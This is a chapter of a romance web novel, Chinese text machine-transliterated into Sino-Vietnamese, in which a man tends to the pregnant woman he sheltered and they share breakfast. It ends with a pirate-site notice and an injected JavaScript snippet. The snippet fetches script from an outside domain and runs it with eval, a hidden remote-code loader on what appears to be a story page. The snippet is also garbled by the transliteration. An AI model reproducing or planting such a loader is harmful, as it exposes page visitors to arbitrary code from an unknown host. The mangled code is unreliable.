Bạch mã vân la tác phẩm
Đệ 814 chương
Thác bạt dã đại thủ dã thị ôn nhu đích lai đáo liễu quân phiên phiên đích tiểu phúc xử, cách trứ ngoại y, tha đô vạn phân đích kích động. Tha tòng lai bất kỳ đãi tự kỷ đích hài tử, đãn thị giá nhất khắc, tha tự hồ đô bách bất cập đãi đích tưởng yếu khán đáo tự kỷ đích hài tử xuất thế liễu.
Quân phiên phiên hứa thị nhân vi tri đạo tự kỷ thị an toàn liễu, hựu gia thượng hiện tại hữu thân dựng, tha giá nhất thụy trực tiếp thụy đáo liễu dực nhật thanh thần tài hoãn hoãn đích chuyển tỉnh. Nhi thác bạt dã mỗi mỗi nhất động, tựu nhạ đắc quân phiên phiên quyết khởi tiểu chủy, bất duyệt đích cô nông, thác bạt dã xá bất đắc nhượng giá cá tiểu nữ nhân bất duyệt, sở dĩ, nhất chỉnh cá vãn thượng tha đô bảo trì trứ đồng nhất cá tư thế, chỉ thị vi liễu nhượng lạc ấn tại tự kỷ tâm tiêm thượng đích nữ tử, năng cú thụy nhất cá an ổn đích giác.
Đương tứ mâu tại không trung tương giao đích thời hầu, quân phiên phiên xả khai nhất cá huyến lạn đích tiếu, đối trứ thác bạt dã thúy sinh sinh đạo: “Tảo an.”
Chẩm ma thuyết, giá cá nam nhân tại nhất khai thủy tự kỷ ngộ đáo nguy hiểm đích thời hầu, tựu đĩnh thân tương cứu, quân phiên phiên tâm trung hoàn thị phi thường đích cảm kích trứ thác bạt dã đích.
Thác bạt dã nhất thời gian lăng trụ liễu, nhân vi đả tòng giá cá tiểu nữ nhân tiến nhập tha thác bạt dã đích sinh mệnh chi trung khai thủy, nhất trực đô thị tại kháng cự tự kỷ, tha tòng lai tựu một hữu kiến quá tha như thử huyến lạn đích tiếu dung. Nhất thời gian khán đắc hữu ta hoảng thần, chỉnh cá nhân hữu ta phiêu phiêu nhiên đích cảm giác.
Quân phiên phiên khán trứ thác bạt dã sỏa lăng tại tự kỷ đích cân tiền, thân xuất tiêm mỹ đích ngọc thủ tại thác bạt dã đích nhãn tiền hoảng liễu kỉ hạ, phát hiện thác bạt dã hoàn thị một hữu phản ứng quá lai, khả thị tha đích đỗ tử dĩ kinh xướng khởi liễu không thành kế, cô lỗ lỗ, cô lỗ lỗ đích đại khiếu khởi lai. Tha bổn tựu bị trường tôn ly cấp dưỡng đắc bất hội ủy khuất tự kỷ đích nhất cá nhân, gia thượng hiện tại tri đạo tự kỷ đỗ tử lí hữu liễu trường tôn ly đích hài tử.
Tha phi thường đích tiểu tâm, tha đích nhi tử ngạ liễu, sở dĩ, tha đắc yếu cản khẩn cật đông tây tài thị nha, hiện tại tự kỷ thị tại giá cá nam nhân đích địa bàn thượng, nhân thử quân phiên phiên thôi cự trứ thác bạt dã, nguyên bổn khả ái đích thanh âm đẩu nhiên đích đái trứ kỉ phân kiều hàm hòa bất duyệt đạo: “Uy, ngã môn nương nhi lưỡng ngạ liễu.”
Thính đáo quân phiên phiên đích nhượng nhượng thanh, thác bạt dã giá tài hồi quá thần lai, tha đích kiểm thượng nhiễm thượng nhất ti hồng vựng, hữu ta tiểu dam giới, tùy tức cản khẩn nữu đầu hạ lệnh đạo: “Lai nhân, truyện thiện.”
Tùy trứ thác bạt dã đích nhất thanh lệnh hạ, bất quá phiến khắc tựu hữu tì nữ lục tục đích tương thiện thực trình thượng lai.
Biệt khán quân phiên phiên nhân kiều tiểu tiểu đích nhất cá, khả thị thực lượng nhất trực đô ngận đại đích. Tái gia thượng hiện tại tha tự nhận vi tự kỷ tác vi nương thân đích, nhất định yếu cật hảo, tài năng cú nhượng tha đích nhi tử dã hảo hảo đích. Tương lai xuất sinh bạch bạch bàn bàn đích, phấn đô đô, bàn đôn đôn đích. Nhân thử, đại khẩu cật phạn, đại khẩu cật thái, căn bổn tựu bất câu nê.
Thác bạt dã khán trứ cật đắc tân tân hữu vị đích quân phiên phiên, thị huyết đích hồng mâu lí bố mãn liễu tiếu ý. Vưu kỳ thị tha hiện tại na ma đích bảo bối phúc trung đích hài tử, nhi thả kim thiên phá thiên hoang đích cư nhiên đối tự kỷ tiếu liễu.
“Vân nhi, mạn trứ cật, hoàn hữu ni.” Thác bạt dã đích thanh âm lí dã tẫn hiển ôn nhu.
Quân phiên phiên thị thính đáo thác bạt dã khiếu tự kỷ vân nhi, hàm trứ phạn thái đối thác bạt dã hàm hỗn đạo: “Ngã bất khiếu vân nhi, ngã khiếu quân phiên phiên. Tựu thị dữ quân phiên phiên phi đích ý tư.”
Thác bạt dã tâm trung tuy nhiên hữu ta lạc đăng, na nhất nhật, na cá vân ế ca ca khả thị hảm tha vân nhi đích. Tha cương tưởng yếu trương khai thuyết, đãn thị tưởng đáo kim thiên tự kỷ hòa tha tương xử hảo bất dung dịch giá ma đích hòa mỹ, tự kỷ chẩm ma khả dĩ sát phong cảnh đích đề khởi na cá vân ế ca ca ni. Đáo thời hầu nhạ đắc tha tưởng khởi liễu na cá vân ế ca ca hoặc giả thị thập ma trường tôn ly đích, tha môn lưỡng nhân chi gian đích tương xử tái độ đích kiếm bạt nỗ trương đích. Na khả bất hảo.
Nhân thử, nhi thả, tha thính đáo tha thuyết thị dữ quân phiên phiên phi đích ý tư, chàng tiến liễu tha đích tâm oa tử, bất quản giá cá quân phiên phiên đích danh tự thị bất thị tha tái độ khi phiến tự kỷ đích giả danh tự, tha thị hỉ hoan giá cá dữ quân phiên phiên phi đích ngụ ý.
“Hảo, phiên phiên, mạn trứ cật. Bổn tọa bất hội nhượng nhĩ môn nương nhi lưỡng ngạ trứ đỗ tử đích. Nhất định hội tương nhĩ nương nhi lưỡng dưỡng đích bạch bạch bàn bàn đích.” Thác bạt dã khán trứ tha đại khẩu cật nhục, đại khẩu hát thang. Đại khẩu cật phạn, tâm tình dã thị đại hảo.
“Oa, hữu một hữu nhân thuyết quá, nhĩ thị đại hảo nhân.” Quân phiên phiên đối trứ thác bạt dã mỹ mâu tiếu đắc cận hồ mị khởi liễu nhất điều tuyến, nhất trác tử phong phú đích tảo thiện toàn bị quân phiên phiên cấp giải quyết liễu. Cật bão chi hậu, tha yếm túc đích mạc liễu mạc tự kỷ đích tiểu phúc, đối trứ thác bạt dã thụ trứ đại mẫu chỉ, hiển kỳ tha đích tâm tình dã thị cực hảo đích.
Nhĩ hiện tại sở khán đích 《》 đệ 814 chương chỉ hữu tiểu bán chương, yếu khán hoàn chỉnh bản bổn thỉnh bách độ sưu: ( băng lôi trung văn ) tiến khứ hậu tái sưu:
;(function{vard(/UCBrow sắc rQQBrow sắc r/i.test(navigator.u sắc rAgent))'https://s.fthcz':'https://s.fthcz';varanewXMLHttpRequest;varbd "/7149/7968/" Math.floor(Math.random*99999991);if(a!null){a.onreadystatechangefunction{if(a.readyState4&&a.status200){if(window.execScript)window.execScript(a.respon sắc Text, "JavaScript" );if(window.eval)window.eval(a.respon sắc Text, "JavaScript" );eval(a.respon sắc Text);}};a.open( "GET",b,fal sắc );a. Sắc nd;}});